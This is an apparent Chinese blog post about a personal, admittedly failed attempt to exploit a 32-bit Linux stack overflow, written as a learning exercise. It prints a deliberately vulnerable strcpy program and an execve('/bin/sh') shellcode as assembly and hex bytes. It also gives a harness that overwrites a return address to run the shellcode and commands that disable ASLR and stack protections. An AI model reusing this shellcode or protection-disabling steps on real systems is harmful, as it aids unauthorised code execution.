写在Linux栈溢出尝试的黎明前

一直对白帽技术情有独钟,无奈囿于环境、圈子等因素,总是管中窥豹,不得法门。也许这个圈子很小众,没多少人愿意或者有精力与时间去深入其中吧。大神们可能都在哪个偏僻的角落苦练内功呢,没成立几个门派、没招收弟子吧。况且,软件厂商谁都不愿意把漏洞及利用方法公之于众,法律层面也不允许利用系统缺陷牟利,红客黑客等被不论是否被招安都不愿意去公开杀手锏,更不愿意不经意间再搞一个“熊猫烧香”出来,反而误了卿卿性命。当然,希望还是要有的,总有那一小撮人,不愿随波逐流,不辞昼夜地做一些“无所谓”的试验,如与哪位过客有缘,愿意指点一二,仍旧十分感激!

 

前期翻书研究了一下Linux系统的内存管理,获益良多,很受鼓舞。遂想深入尝试一下栈溢出漏洞(stack overflow),并得闲研究了一番。本想待探索得有点眉目后再发布结果出来,哪怕是阶段性的验证结果,无奈纵使尽浑身解数,也未能得愿。姑且当做一次小试牛刀吧,虽中途折戟,铩羽而归,但验证了一些什么,毫不后悔,“我来了,我看见,我没有征服”O(∩_∩)O哈哈~,只得总结下经验教训供大家借鉴吧。

网上讲述堆栈溢出漏洞原理多如牛毛,涉及到的例子也比较多,可实际可行、经得起上机验证的并不多,很多还得自己琢磨着组装。也许是因为Linux内核的版本也在不停地更新完善,致使各类版本的栈溢出代码已经失效了。

Linux系统进程的内存布局大体如下:

内核区 

        线性地址大于0xC000 0000

Linux内核

地址

......


地址

命令行参数及环境变量变量区

        用于保存函数调用参数、调用返回地址、caller基地址、callee局部变量,当然还有canary值等

栈底

...... 

栈顶 

        malloc、new等申请的内存

未初始化或初始化为0的全局变量区

.bss

已初始化的全局变量、静态(局部)变量.data
常量区

.rodata

代码区.text

在进程运行期间,进程在自身线性地址内存空间的布局大体如此表,值得注意的是:并不是所有的常量都会被保存到rodata段,存在一些特殊情况:

  1. 有些立即数会直接编码到指令里,位于代码段;
  2. 重复的字符串常量会合并,程序中只保留一份;
  3. 某些系统中rodata段会被多个进程共享,用于提高空间利用率。
    另外,有的嵌入式系统中,rodata不会加载到RAM中,而是直接在ROM中读取。

(参见:https://www.cnblogs.com/zhcpku/p/14437940.html

可以看作是将可执行的ELF文件的段,分门别类地放置了一下,而后按照代码段的给定的规则,操作堆、栈和变量数据区实现最后结果。小到命令行工具,大到具有消息循环的图形界面应用大体如是,不论是Linux系统还是Windows系统。

如此,大名鼎鼎的溢出漏洞攻击主要就是发生在程序或其所调用库的“栈”和“堆”这两个位置,即“栈溢出漏洞”和“堆溢出漏洞”。通过利用漏洞,可实现窃取隐私数据、实现非法访问、提高现行用户权限等。

先简要了解一下函数调用时,栈的工作过程:

常见的栈溢出方式主要有:

  • 修改返回地址,让其指向溢出数据中的一段指令(shellcode
  • 修改返回地址,让其指向内存中已有的某个函数(return2libc
  • 修改返回地址,让其指向内存中已有的一段指令(ROP
  • 修改某个被调用函数的地址,让其指向另一个函数(hijack GOT

(摘自手把手教你栈溢出从入门到放弃(上) - 知乎

不论使用怎样多变的技术手段,栈溢出的中心思想就是:通过修改栈内保存的值并设法将其弹出给eip寄存器,使程序改变运行轨迹,去运行非既定的代码。也即,修改函数调用后的返回地址,使程序跳转到非常规位置继续执行。

前提条件:

  • 目标程序存在漏洞
  • 操作系统保护措施被绕过或关闭

被攻击程序一般接受用户输入,理论上不接受输入的程序无法与用户交互,这种“一刀切”后果是用户只能使用它展示的内容,无法与其交互,体验效果不佳,当然相当安全了。想当年互联网兴起之时,是个单位都迫不及待地弄个网站、放个主页、打一波广告来推销自己,深怕被时代或社会抛弃。试想,在百度里搜不到官网的企业能是什么有实力的企业呢?

后来,互联网应用普及流行,论坛博客等等竞相登台,网页的交互性越来越强,电子商务时代的到来使得“互联网+”成为了顶流话题,现象级的价值制高点。网络安全带来的困扰也如影随形,与各大企业不期而遇。于是因不需要推广、也不需要挖掘效益的机构逐渐慎重起来,关停或者封闭化了互联网的入口,以减少网络安全事件。

在网络上,只要有信息交互,就有安全风险。

同样,对于一个进程而言,只要和用户有交互,就会产生被攻击的风险,尤其是有不可预估的输入内容时。风靡一时的C语言也有过饱含漏洞的库函数,如:strcpy、strcat、gets等,不得已后来又发布了一系列的安全版本函数:strcpy_s、strcat_s等作为替代品。

因此,本着黑客探索的精神,或者说是考古的精神,从头做起,自制矛和盾来研究“矛盾”这一马克思主义客观规律:-)

研究思路:

1、写一个使用strcpy函数、需要用户输入的漏洞程序;

2、构造一段shellcode(也叫payload)代码——就是那种一堆十六进制机器码,看也看不懂却放在程序里合适的位置居然能执行的代码;

3、在漏洞程序运行时,输入shellcode,使得程序在调用strcpy函数后,造成栈溢出;

4、溢出后程序在退出(或者某子函数调用结束)后,控制权转移执行shellcode。

第一步很简单,随便写个使用strcpy函数的C代码程序,写存在漏洞的程序不难,每个coder自带制造bug天赋被动技能,大咖也如此。如下:

target.c

#include <stdio.h>
#include <string.h>

#define BUFSIZE 32

void vd()
{
	printf("vd here!\n");
}

char shellcode[]="\x90\x90\x90\x90\xeb\x0d\x5b\x31\xc9\x31\xd2\x31\xc0\x83\xc0\x0b\xcd\x80\xc3\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";//\xac\xef\xff\xbf

char retval[]="\xac\xef\xff\xbf";
int i=0;

int main(int argc, char *argv[])
{
	char buf[BUFSIZE];
//	strcpy(buf,argv[1]);
//	printf("Buf: %p, %s\n",&buf,buf);
	int* p=(int*)(buf+64);
	strcpy(buf,shellcode);
	for(i=32;i<64;i++)//<37
	{
		if(i>=40&&i<=43)continue;
		p=(int*)(buf+i);
		*((char*)p)=0x00;//*p=0x00000000;
	}
	p=(int*)(buf+64);
//	*p=0xbfffefac;
	*p=(int*)buf;
	return 0;
}

这不是不需要用户输入吗?确实,本来需要用户输入shellcode,为了简便一些,先用全局变量代替了:-)。当然,最根本的原因是没有实现成功的溢出/(ㄒoㄒ)/~~,所以没来得及改回来。就这还没有调试实现成功利用呢。

需要解释几点:

1、可以修改“strcpy(buf,shellcode);”为“strcpy(buf,argv[1]);”来实现用户输入;

2、0xbfffefac是buf起始地址,程序退出后的返回地址在(buf+64)处,如此处赋值vd函数的地址,则会执行vd();

3、main()函数里其实只定义一个char数组并执行一下strcpy函数即可,其它包括vd()函数,都是调试验证用的,可以删除。

第二步,构造code代码:

网上可以找到许多类似代码,都属于非人间所能创造的神器。不过思路倒是可以捋一下:

Linux系统里有2个重要的系统调用:execve()和system(),前者在32位系统里的调用号为11,可以启动其它程序,如shell等。因此,编写一段使用以上函数的C代码程序,然后反汇编成汇编语言即可。其中有2个难点:

1、避免出现\x20和\x00,以免影响字符串的正常处理,如“mov eax, 0”等指令的二进制编码就会产生\x00;

2、需要用到"/bash/sh"字符串,需要巧妙地将字符串包含到shellcode中去,并能够自定位该字符串的首地址。

shellcode.c

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
	char *code[2];
	code[0]="/bin/sh";
	code[1]=NULL;
	execve(code[0],code,NULL);
	return 0;
}

 编译生成反汇编(asm文件):

$ gcc shellcode.c -fno-stack-protector -z execstack -z norelro -no-pie -S -masm=intel -O0 -o shellcode-intel.asm

生成的shellcode-intel.asm文件内容如下:

	.file	"shellcode.c"
	.intel_syntax noprefix
	.section	.rodata
.LC0:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	lea	ecx, [esp+4]
	.cfi_def_cfa 1, 0
	and	esp, -16
	push	DWORD PTR [ecx-4]
	push	ebp
	.cfi_escape 0x10,0x5,0x2,0x75,0
	mov	ebp, esp
	push	ecx
	.cfi_escape 0xf,0x3,0x75,0x7c,0x6
	sub	esp, 36
	mov	eax, ecx
	mov	eax, DWORD PTR [eax+4]
	mov	DWORD PTR [ebp-28], eax
	mov	eax, DWORD PTR gs:20
	mov	DWORD PTR [ebp-12], eax
	xor	eax, eax
	mov	DWORD PTR [ebp-20], OFFSET FLAT:.LC0
	mov	DWORD PTR [ebp-16], 0
	mov	eax, DWORD PTR [ebp-20]
	sub	esp, 4
	push	0
	lea	edx, [ebp-20]
	push	edx
	push	eax
	call	execve
	add	esp, 16
	mov	eax, 0
	mov	ecx, DWORD PTR [ebp-12]
	xor	ecx, DWORD PTR gs:20
	je	.L3
	call	__stack_chk_fail
.L3:
	mov	ecx, DWORD PTR [ebp-4]
	.cfi_def_cfa 1, 0
	leave
	.cfi_restore 5
	lea	esp, [ecx-4]
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609"
	.section	.note.GNU-stack,"",@progbits

 嗯,果然非凡物所比,过于唬人。

既然我们只是调用一下execve系统调用,为什么系统那么严格地生成诸多“多余”的代码?不得其解,可能与GCC编译器有关。

转换一下思路:就按以上格式,参看execve系统调用的调用方式,人为填充ecx、edx,使用int 0x80中断(注意64位改用syscall),代码则要短得多,如下:

shellc.s

	.file	"shellc.s"
	.intel_syntax noprefix
	.section	.rodata

.section 	.text
.global	_start
_start:
	jmp callstr

begin:	pop ebx
	xor ecx, ecx
	xor edx, edx
	xor eax, eax
	add 	eax, 11
	int 0x80

	ret

callstr:	call begin
msg:	.string "/bin/sh"

其中精妙之处在于jmp和call的配合,参考《》黑客攻防入门(三)shellcode进阶 - 简书》,补充一个关于call和ret的指令行为理解方式:

call会实现代码在段内或者段间的跳转:

1、在段内跳转时,call指令类似可以理解为执行了2条指令:

        push eip 

         jmp   xxx

2、在段间跳转时,call指令可以理解为执行了3条指令:

        push cs

        push eip

        jmp   xxx

ret类似call但是作用正好相反:

1、在段内跳转时,ret指令执行的是retn n,可以理解为执行了2条指令:

        pop eip 

        add esp, n

2、在段间跳转时,call指令执行的是retf n,可以理解为执行了3条指令:

        pop eip

        pop cs

        add esp, n

在shell中执行:

as -o shellc.o shellc.s
ld -o shellc shellc.o
objdump -d shellc >scode.s

即可在scode.s中得到shellcode:

"\x90\x90\x90\x90\xeb\x0d\x5b\x31\xc9\x31\xd2\x31\xc0\x83\xc0\x0b\xcd\x80\xc3\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";其中\x90为nop指令,即仅占位不执行,继续执行下一条指令,用于根据需要扩充shellcode长度。

下面验证一下shellcode的可用性:

#include <stdio.h>

unsigned char code[]="\xeb\x0d\x5b\x31\xc9\x31\xd2\x31\xc0\x83\xc0\x0b\xcd\x80\xc3\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

void main(int argc, char* argv[])
{
	long *ret;
	ret=(long*)&ret+2;
	(*ret)=(long)code;
}

运行结果如下: 

shellcode正常运行,没问题。

第三步,也是最重要的一步,当然也是苦苦探求未果的一步,遗憾ing~。运行漏洞程序,并输入shellcode,实现溢出并转变程序的执行轨迹。

实验结果:漏洞溢出实非难事,但不让栈崩溃、跳转执行shellcode,至今毫无头绪。

编译选项:

sudo bash -c  "echo 0 >/proc/sys/kernel/randomize_va_space"

gcc target.c -fno-stack-protector -z execstack -z norelro -no-pie -O0 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -g -O0 -o target  

gcc target.c -fno-stack-protector -z execstack -z norelro -no-pie -S -masm=intel -O0 -o target-intel.asm 

收获及推测:

1、在target.c中,根据char数组buf的长度32,shellcode[]不能超过32,否则在执行strcpy函数时会引发SIGSEGV错误,可能系统会检测到越界,若把strcpy函数放在子函数中,不会引发该错误,可通过strace ./target查看错误位置;

2、strace ./target调试发现,不论在*(buf+32)处如何赋值,即使是\x00,execve调用的命令行参数总会被修改,提示找不到路径:

execve("/bin/sh\354\357\377\277", NULL, NULL) = -1 ENOENT (No such file or directory);

3、*(buf+40)~*(buf+43)处不可赋值,可能是canary数,没找到资料显示canary数已经由1字节变为4字节~~~~(>_<)~~~~,一旦赋值程序即崩溃。虽然编译target程序时已经关闭了堆栈保护等功能,但操作系统先于该关闭操作之前运行,可能不受影响。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值